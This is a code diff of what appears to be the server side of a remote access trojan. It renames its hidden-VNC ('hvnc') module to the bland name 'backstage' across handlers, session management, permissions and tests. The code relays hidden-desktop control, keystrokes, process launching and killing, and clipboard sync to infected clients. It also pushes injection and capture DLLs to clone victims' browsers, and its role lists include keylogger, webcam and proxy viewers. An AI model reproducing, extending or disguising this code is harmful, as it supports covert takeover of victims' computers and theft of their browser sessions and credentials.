@@ -1181,149 +1181,149 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
whepPath: `/api/webrtc/${streamPath}/whep`,
});
}
sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
sendHVNCCommand(target, "hvnc_start", {
sendbackstageCommand(target, "backstage_set_fps", { fps: clampDesktopFps(state.maxFps) });
sendbackstageCommand(target, "backstage_start", {
autoStartExplorer: false,
...(virtualMode ? { virtual_mode: true } : {}),
});
state.isStreaming = true;
state.virtualMode = virtualMode;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
} else {
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
logger.debug(`[backstage] ignoring duplicate backstage_start for client ${clientId}`);
}
}
break;
case "hvnc_stop": {
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
case "backstage_stop": {
const otherbackstageViewers = sessionManager.getbackstageSessionsForClient(clientId)
.filter(s => s.id !== ws.data.sessionId);
if (otherHvncViewers.length === 0) {
sendHVNCCommand(target, "hvnc_stop", {});
sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
if (otherbackstageViewers.length === 0) {
sendbackstageCommand(target, "backstage_stop", {});
sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
state.isStreaming = false;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] stopped streaming for client ${clientId}`);
} else {
logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`);
logger.debug(`[backstage] ignoring backstage_stop for client ${clientId} - ${otherbackstageViewers.length} other viewer(s) still active`);
}
break;
}
case "hvnc_select_display": {
case "backstage_select_display": {
const newDisplay = Number(payload.display) || 0;
if (state.display !== newDisplay) {
logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
logger.debug(`[backstage] changing display from ${state.display} to ${newDisplay}`);
sendbackstageCommand(target, "backstage_select_display", { display: newDisplay });
state.display = newDisplay;
hvncStreamingState.set(clientId, state);
backstageStreamingState.set(clientId, state);
} else {
logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
logger.debug(`[backstage] ignoring duplicate display select ${newDisplay}`);
}
break;
}
case "hvnc_set_quality": {
case "backstage_set_quality": {
const newQuality = Number(payload.quality) || 90;
const newCodec = String(payload.codec || "").toLowerCase();
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
sendbackstageCommand(target, "backstage_set_quality", { quality: newQuality, codec: newCodec });
if (state.quality !== newQuality || state.codec !== newCodec) {
state.quality = newQuality;
state.codec = newCodec;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] set quality=${newQuality} codec=${newCodec || "(default)"}`);
}
break;
}
case "hvnc_request_keyframe":
case "backstage_request_keyframe":
if (state.isStreaming) {
sendHVNCCommand(target, "hvnc_request_keyframe", {
sendbackstageCommand(target, "backstage_request_keyframe", {
reason: String((payload as any).reason || "viewer_request"),
});
}
break;
case "hvnc_set_fps": {
case "backstage_set_fps": {
const newMaxFps = clampDesktopFps((payload as any).fps);
sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
sendbackstageCommand(target, "backstage_set_fps", { fps: newMaxFps });
if (state.maxFps !== newMaxFps) {
state.maxFps = newMaxFps;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] set target fps=${newMaxFps}`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] set target fps=${newMaxFps}`);
}
break;
}
case "hvnc_enable_mouse":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
case "backstage_enable_mouse":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_mouse", { enabled: !!payload.enabled });
break;
case "hvnc_enable_keyboard":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
case "backstage_enable_keyboard":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_keyboard", { enabled: !!payload.enabled });
break;
case "hvnc_enable_cursor":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
case "backstage_enable_cursor":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_cursor", { enabled: !!payload.enabled });
break;
case "hvnc_enable_dxgi":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
case "backstage_enable_dxgi":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
break;
case "hvnc_enable_uia":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_uia", { enabled: !!payload.enabled });
case "backstage_enable_uia":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
break;
case "hvnc_set_resolution": {
case "backstage_set_resolution": {
const maxHeight = Number(payload.maxHeight) || 0;
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
if (state.isStreaming) sendbackstageCommand(target, "backstage_set_resolution", { maxHeight });
break;
}
case "hvnc_mouse_move":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
case "backstage_mouse_move":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
case "hvnc_mouse_down":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", {
case "backstage_mouse_down":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_down", {
button: Number(payload.button) || 0,
x: Number(payload.x) || 0,
y: Number(payload.y) || 0,
});
break;
case "hvnc_mouse_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", {
case "backstage_mouse_up":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_up", {
button: Number(payload.button) || 0,
x: Number(payload.x) || 0,
y: Number(payload.y) || 0,
});
break;
case "hvnc_mouse_wheel":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
case "backstage_mouse_wheel":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
case "hvnc_key_down":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
case "backstage_key_down":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { key: payload.key || "", code: payload.code || "" });
break;
case "hvnc_key_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
case "backstage_key_up":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" });
break;
case "hvnc_lookup":
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
case "backstage_lookup":
sendbackstageCommand(target, "backstage_lookup", { exe: String(payload.exe || "") });
break;
case "hvnc_browser_check":
sendHVNCCommand(target, "hvnc_browser_check", {});
case "backstage_browser_check":
sendbackstageCommand(target, "backstage_browser_check", {});
break;
case "hvnc_installed_apps":
sendHVNCCommand(target, "hvnc_installed_apps", {});
case "backstage_installed_apps":
sendbackstageCommand(target, "backstage_installed_apps", {});
break;
case "hvnc_window_list":
sendHVNCCommand(target, "hvnc_window_list", {});
case "backstage_window_list":
sendbackstageCommand(target, "backstage_window_list", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
case "backstage_start_process":
sendbackstageCommand(target, "backstage_start_process", {
path: String(payload.path || ""),
kill_exe: String(payload.kill_exe || ""),
opera_patch: Boolean(payload.opera_patch),
display: state.display ?? 0,
});
break;
case "hvnc_kill_all":
sendHVNCCommand(target, "hvnc_kill_all", {});
case "backstage_kill_all":
sendbackstageCommand(target, "backstage_kill_all", {});
break;
case "hvnc_start_process_injected": {
case "backstage_start_process_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDll = getCaptureDllBytes();
@@ -1335,14 +1335,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
display: state.display ?? 0,
};
if (captureDll) cmdPayload.capture_dll = captureDll;
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
break;
}
case "hvnc_start_chrome_injected": {
case "backstage_start_chrome_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDllChrome = getCaptureDllBytes();
@@ -1352,14 +1352,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
display: state.display ?? 0,
};
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
break;
}
case "hvnc_start_browser_injected": {
case "backstage_start_browser_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDllBrowser = getCaptureDllBytes();
@@ -1373,20 +1373,20 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
display: state.display ?? 0,
};
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
break;
}
case "clipboard_sync": {
if (!state.isStreaming) break;
const text = String(payload.text || "");
if (text) {
sendHVNCCommand(target, "clipboard_set", { text });
sendbackstageCommand(target, "clipboard_set", { text });
}
break;
}
case "clipboard_sync_start": {
if (!state.isStreaming) break;
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
sendDesktopCommand(target, "clipboard_sync_start", { source: "backstage" });
break;
}
case "clipboard_sync_stop": {
@@ -1396,8 +1396,8 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "webrtc_p2p_offer": {
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
if (!sdp) break;
const sessionId = createP2PSession(ws, clientId, "hvnc");
sendHVNCCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "hvnc", hasVideo: true, hasAudio: false });
const sessionId = createP2PSession(ws, clientId, "backstage");
sendbackstageCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "backstage", hasVideo: true, hasAudio: false });
break;
}
case "webrtc_p2p_ice": {
@@ -1405,9 +1405,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
if (!sessionId) break;
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
if (!candidate) break;
sendHVNCCommand(target, "webrtc_p2p_ice", {
sendbackstageCommand(target, "webrtc_p2p_ice", {
sessionId,
kind: "hvnc",
kind: "backstage",
candidate,
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
@@ -1417,7 +1417,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "webrtc_p2p_stop": {
const cleared = clearP2PSessionForViewer(ws);
if (cleared) {
sendHVNCCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
sendbackstageCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
}
break;
}
@@ -1426,18 +1426,18 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
}
}
export function sendHVNCCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
export function sendbackstageCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
if (!target) {
logger.warn(`[hvnc] send command skipped, target missing command=${commandType}`);
logger.warn(`[backstage] send command skipped, target missing command=${commandType}`);
return false;
}
try {
logger.debug(`[hvnc] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
metrics.recordCommand(commandType);
return true;
} catch (err) {
logger.error("[hvnc] send command failed", err);
logger.error("[backstage] send command failed", err);
return false;
}
}
@@ -1448,8 +1448,8 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
}
}
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
(globalThis as any).__backstageBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
if (!state.isStreaming) {
state.isStreaming = true;
}
@@ -1457,13 +1457,13 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
if (frameFps > 0) {
state.lastFps = frameFps;
}
hvncStreamingState.set(clientId, state);
backstageStreamingState.set(clientId, state);
const buf = buildViewerFrameBuffer(bytes, header);
const result = broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
const result = broadcastFrameToViewers(sessionManager.getbackstageSessionsForClient(clientId), buf, header);
if (result.dropped) {
const target = clientManager.getClient(clientId);
if (target) {
sendHVNCCommand(target, "hvnc_request_keyframe", {
sendbackstageCommand(target, "backstage_request_keyframe", {
reason: "viewer_backpressure",
format: String(header?.format || ""),
});
@@ -13,7 +13,7 @@ import {
} from "./webrtc-p2p-sessions";
import {
cleanupViewerP2P,
} from "./ws-console-rd-hvnc";
} from "./ws-console-rd-backstage";
function sendDesktopAudioCommand(
clientId: string,
@@ -11,12 +11,12 @@ import {
getRdSessionsByClient,
getRdSessionCount,
hasRdSessionsForClient,
addHvncSession,
getHvncSession,
deleteHvncSession,
getHvncSessionsByClient,
hasHvncSessionsForClient,
getHvncSessionCount,
addbackstageSession,
getbackstageSession,
deletebackstageSession,
getbackstageSessionsByClient,
hasbackstageSessionsForClient,
getbackstageSessionCount,
addFileBrowserSession,
getFileBrowserSession,
deleteFileBrowserSession,
@@ -135,18 +135,18 @@ describe("sessionManager - remote desktop sessions", () => {
});
});
describe("sessionManager - HVNC sessions", () => {
test("add, get, and delete HVNC session", () => {
describe("sessionManager - backstage sessions", () => {
test("add, get, and delete backstage session", () => {
const ws = mockWs();
addHvncSession({ id: "hvnc-1", clientId: "c-hvnc", viewer: ws, createdAt: Date.now() });
addbackstageSession({ id: "backstage-1", clientId: "c-backstage", viewer: ws, createdAt: Date.now() });
expect(getHvncSession("hvnc-1")).toBeDefined();
expect(hasHvncSessionsForClient("c-hvnc")).toBe(true);
expect(getHvncSessionsByClient("c-hvnc").length).toBe(1);
expect(getHvncSessionCount()).toBeGreaterThanOrEqual(1);
expect(getbackstageSession("backstage-1")).toBeDefined();
expect(hasbackstageSessionsForClient("c-backstage")).toBe(true);
expect(getbackstageSessionsByClient("c-backstage").length).toBe(1);
expect(getbackstageSessionCount()).toBeGreaterThanOrEqual(1);
expect(deleteHvncSession("hvnc-1")).toBe(true);
expect(getHvncSession("hvnc-1")).toBeUndefined();
expect(deletebackstageSession("backstage-1")).toBe(true);
expect(getbackstageSession("backstage-1")).toBeUndefined();
});
});
+23 -23
View File
@@ -23,11 +23,11 @@ export type DashboardViewer = {
const consoleSessions = new Map<string, ConsoleSession>();
const rdSessions = new Map<string, RemoteDesktopViewer>();
const webcamSessions = new Map<string, RemoteDesktopViewer>();
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
const backstageSessions = new Map<string, RemoteDesktopViewer>(); // backstage uses same structure as RD
const consoleSessionsByClient = new Map<string, Set<string>>();
const rdSessionsByClient = new Map<string, Set<string>>();
const webcamSessionsByClient = new Map<string, Set<string>>();
const hvncSessionsByClient = new Map<string, Set<string>>();
const backstageSessionsByClient = new Map<string, Set<string>>();
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
const processSessions = new Map<string, ProcessViewer>();
const fileBrowserSessionsByClient = new Map<string, Set<string>>();
@@ -196,53 +196,53 @@ export function getAllRdSessions(): Map<string, RemoteDesktopViewer> {
return rdSessions;
}
// ==================== HVNC SESSION MANAGEMENT ====================
// ==================== backstage SESSION MANAGEMENT ====================
export function addHvncSession(session: RemoteDesktopViewer): void {
hvncSessions.set(session.id, session);
addSessionToClientIndex(hvncSessionsByClient, session.clientId, session.id);
export function addbackstageSession(session: RemoteDesktopViewer): void {
backstageSessions.set(session.id, session);
addSessionToClientIndex(backstageSessionsByClient, session.clientId, session.id);
}
export function getHvncSession(
export function getbackstageSession(
sessionId: string,
): RemoteDesktopViewer | undefined {
return hvncSessions.get(sessionId);
return backstageSessions.get(sessionId);
}
export function deleteHvncSession(sessionId: string): boolean {
const existing = hvncSessions.get(sessionId);
export function deletebackstageSession(sessionId: string): boolean {
const existing = backstageSessions.get(sessionId);
if (!existing) return false;
hvncSessions.delete(sessionId);
removeSessionFromClientIndex(hvncSessionsByClient, existing.clientId, sessionId);
backstageSessions.delete(sessionId);
removeSessionFromClientIndex(backstageSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] {
return getHvncSessionsForClient(clientId);
export function getbackstageSessionsByClient(clientId: string): RemoteDesktopViewer[] {
return getbackstageSessionsForClient(clientId);
}
export function getHvncSessionsForClient(clientId: string): RemoteDesktopViewer[] {
const ids = hvncSessionsByClient.get(clientId);
export function getbackstageSessionsForClient(clientId: string): RemoteDesktopViewer[] {
const ids = backstageSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: RemoteDesktopViewer[] = [];
for (const id of ids) {
const session = hvncSessions.get(id);
const session = backstageSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function hasHvncSessionsForClient(clientId: string): boolean {
const ids = hvncSessionsByClient.get(clientId);
export function hasbackstageSessionsForClient(clientId: string): boolean {
const ids = backstageSessionsByClient.get(clientId);
return Boolean(ids && ids.size > 0);
}
export function getAllHvncSessions(): Map<string, RemoteDesktopViewer> {
return hvncSessions;
export function getAllbackstageSessions(): Map<string, RemoteDesktopViewer> {
return backstageSessions;
}
export function getHvncSessionCount(): number {
return hvncSessions.size;
export function getbackstageSessionCount(): number {
return backstageSessions.size;
}
// ==================== FILE BROWSER SESSION MANAGEMENT ====================
+1 -1
View File
@@ -5,7 +5,7 @@ export type SocketRole =
| ClientRole
| "console_viewer"
| "rd_viewer"
| "hvnc_viewer"
| "backstage_viewer"
| "webcam_viewer"
| "file_browser_viewer"
| "process_viewer"
@@ -38,7 +38,7 @@ describe("feature permissions", () => {
expect(ALL_FEATURES).toEqual([
"console",
"remote_desktop",
"hvnc",
"backstage",
"webcam",
"file_browser",
"processes",
@@ -115,11 +115,11 @@ describe("feature permissions", () => {
try {
const operator = await createTempUser("operator");
setUserFeaturePermission(operator.id, "hvnc", false);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
setUserFeaturePermission(operator.id, "backstage", false);
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(false);
setUserFeaturePermission(operator.id, "hvnc", true);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
setUserFeaturePermission(operator.id, "backstage", true);
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(true);
} finally {
cleanupCreatedUsers();
}
+2 -2
View File
@@ -507,7 +507,7 @@ export function setUserPluginAccessRulesBulk(
export type FeatureName =
| "console"
| "remote_desktop"
| "hvnc"
| "backstage"
| "webcam"
| "file_browser"
| "processes"
@@ -521,7 +521,7 @@ export type FeatureName =
export const ALL_FEATURES: FeatureName[] = [
"console",
"remote_desktop",
"hvnc",
"backstage",
"webcam",
"file_browser",
"processes",
+3 -3
View File
@@ -289,9 +289,9 @@ export function handleFrame(info: ClientInfo, payload: any): boolean {
if (globalAny.__webcamBroadcast) {
handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header);
}
} else if (header?.hvnc) {
if (globalAny.__hvncBroadcast) {
handledByViewerRelay = globalAny.__hvncBroadcast(info.id, bytes, header);
} else if (header?.backstage) {
if (globalAny.__backstageBroadcast) {
handledByViewerRelay = globalAny.__backstageBroadcast(info.id, bytes, header);
}
} else if (globalAny.__rdBroadcast) {
handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header);
+8 -8
View File
@@ -1,4 +1,4 @@
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
const textEncoder = new TextEncoder();
@@ -37,13 +37,13 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"voice_uplink",
"desktop_audio_uplink",
"webcam_devices",
"hvnc_clone_progress",
"hvnc_lookup_result",
"hvnc_browser_check_result",
"hvnc_installed_apps_result",
"hvnc_dxgi_status",
"hvnc_browser_launch_status",
"hvnc_window_list_result",
"backstage_clone_progress",
"backstage_lookup_result",
"backstage_browser_check_result",
"backstage_installed_apps_result",
"backstage_dxgi_status",
"backstage_browser_launch_status",
"backstage_window_list_result",
"clipboard_content",
"proxy_data",
"proxy_close",